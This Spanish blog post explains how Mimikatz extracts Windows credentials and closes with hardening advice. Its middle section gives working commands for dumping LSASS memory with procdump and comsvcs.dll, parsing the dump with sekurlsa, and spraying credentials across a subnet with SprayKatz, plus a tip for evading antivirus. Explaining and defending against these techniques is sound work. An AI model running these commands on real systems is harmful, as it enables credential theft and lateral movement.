La memoria de las contraseñas – Mimikatz

Mimikatz es una aplicación de código abierto escrita en el lenguaje C por Benjamin Delpy. Sus principales funciones son extraer contraseñas en texto plano, hashes ntlm y la generación de tickets de Kerberos

Está disponible en el repositorio github de gentilkiwi .

Funcionamiento

Mimikatz utiliza la característica de Windows de Inicio de Sesión Único (Single Sign-ON) Hasta la versión 10 de windows, por defecto utilizaba una función llamada WDigest, el cuál es un viejo protocolo de autenticación cuyo uso causaba guardar las credenciales en memoria en texto plano, esto quiere decir que ni siquiera se presentaban formato de hash dentro del proceso LSASS.

Actualmente esta función, WDigest, está desactivada en Windows, aunque sigue siendo una potencial amenaza, debido a que un posible atacante sólo tiene que activarla y lanzar Mimikatz (Aunque actualmente defender ya detecta como amenaza tanto la creación de esta clave de registro como la habilitación de la misma) para poder aprovechar la misma para robar las credenciales de los usuarios del sistema.

Es importante tener en cuenta que para utilizar Mimikatz el atacante debe:

  • Disponer de una cuenta, o credenciales de la misma, en el sistema que quiera atacar
  • Disponer de derechos de administrador 

Técnicas

Mimikatz utiliza diferentes técnicas para lograr su objetivo que son las siguientes:

  • Pass-the-Ticket : los datos propios de la contraseña de un usuario  se guarda en los tickets de kerberos , mimikatz es capaz de acceder a este ticket y autenticarse sin necesidad de hacer uso de la propia contraseña. Dentro de este caso tenemos las siguientes opciones:
    • Kerberos Golden Ticket :  el ticket usado corresponde a la cuenta KRBTGT , la cual se encarga de cifrar todos los demás tickets,  haciendo uso de esto es posible obtener permisos de administrador de manera indefinida como administrador del dominio.
    • Kerberos Silver Ticket : Kerberos en este caso otorga un ticket TGS a un usuario con el que podrá conectarse a cualquier servicio de la red.
  • Pass-the-Cache: ataque similar al anterior , pero en este caso los datos utilizados son los propios datos de conexión guardados y cifrados de un sistema Linux/unix.
  • Pass-the-Hash: Uno de los más utilizados para esta herramienta , para este uso da igual si el atacante tiene la conraseña en texto plano o no ya que se puede autenticar en el sistema utilizando los hashes NTLM obtenidos de lsass

Ejemplos de uso haciendo bypass del AV:

PROCDUM + MIMIKATZ

Por ejemplo , Procdump de SysInternals es una herramienta legítima de Microsoft, la cuál no es detectada por Defender.

Podemos  utilizar esta herramienta para volcar el proceso lsass, descargar el volcado y extraer las credenciales localmente del volcado.

Dumpeo LSASS con procdump:

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#por remote carga https://live.sysinternals.com el cuál contiene el proceso procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

Extracción de las credenciales:

//Carga el volcado
mimikatz # sekurlsa::minidump lsass.dmp
//Extrae las credenciales
mimikatz # sekurlsa::logonPasswords

Este proceso se realiza automáticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Nota: Algunos AV pueden detectar como malicioso el uso de procdump.exe para volcar lsass.exe, esto se debe a que están detectando la cadena «procdump.exe» y «lsass.exe». Así que es más sigiloso pasar como argumento el PID de lsass.exe a procdump en lugar del nombre lsass.exe, también comentar que por ejemplo de manera por defecto en Windows 11 al hacer uso de credential guard (ya haremos un post acerca de esto) no os permitirá realizar el volcado de memoria.

Volcado memoria lsass con comsvcs.dll

Hay una DLL llamada comsvcs.dll, ubicada en C:\Windows\System32 que vuelca la memoria de los procesos cada vez que se bloquean. Esta DLL contiene una función llamada MiniDumpW que está escrita para que pueda ser llamada con rundll32.exe.

Los dos primeros argumentos no se utilizan, pero el tercero se divide en 3 partes. La primera parte es el ID del proceso que será volcado, la segunda parte es la ubicación del archivo de volcado, y la tercera parte es la palabra full.

Una vez que estos 3 argumentos han sido analizados, básicamente esta DLL crea el fichero de volcado, y vuelca el proceso especificado en ese fichero de volcado.

Gracias a esta función, podemos usar comsvcs.dll para volcar el proceso lsass en lugar de cargar procdump y ejecutarlo.

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

NOTA: Esta manera solo puede ser ejecutada como SYSTEM

Por último , la gran pregunta , ¿Cómo podemos combatirlo?

Es verdad que a día de hoy , casi todos los sistemas de antivirus detectan mimikatz por defecto , no obstante , también hay muchísimos bypasses de estas protecciones , no obstante podemos hacer uso de diversas técnicas orientadas a protegernos ante este tipo de ataques.


  • ZeroTrust : Evitar cuentas de usuario con permisos de superusuario, son un peligro y no son necesarias.
  • Tener los sistemas actualizados.
  • Deshabilitar el password-caching, para evitar que Mimikatz obtenga los hashes de los usuarios del sistema (Configuración del Equipo -> Configuración de Windows -> Política Local -> Opciones de seguridad). 
  • Deshabilitar WDigest. En las nuevas versiones de Windows viene por defecto deshabilitado, en versiones antiguas como Windows 7, existe un parque (KB2871997) que permite desactivarlo.
  • No permitir contraseñas almacenadas, con objeto de evitar que los usuarios de la organización almacenen sus contraseñas de recursos compartidos de red (Configuración del Equipo -> Configuración de Windows -> Configuración de Seguridad -> Políticas locales -> Opciones de Seguridad)
  • Activar LSA, que es una protección (a partir de win 8.1/2012) que evita el acceso al LSASS con módulos de terceros (crear clave RunAsPPL con valor 1 en el registro de windows: HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\LSA).
  • Deshabilitar el obsoleto NTLMv1 (Configuración del equipo -> Políticas -> Configuración de Windows -> Configuración de seguridad -> Políticas locales -> Opciones de seguridad – Seguridad de red: Restringir NTLM)
  • Deshabilitar el modo depuración (Debug privilege), que por defecto Windows otorga al perfil de administrador (Política de Grupo (local o de dominio) -> Configuración del Equipo -> Configuración de Windows -> Configuración de seguridad -> Políticas Locales -> Asignación de Derechos de Usuario -> habilitar Política del Programa de Depuración)

FUENTES:

https://blog.gentilkiwi.com/mimikatz – https://ciberseguridadtotal.com/

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *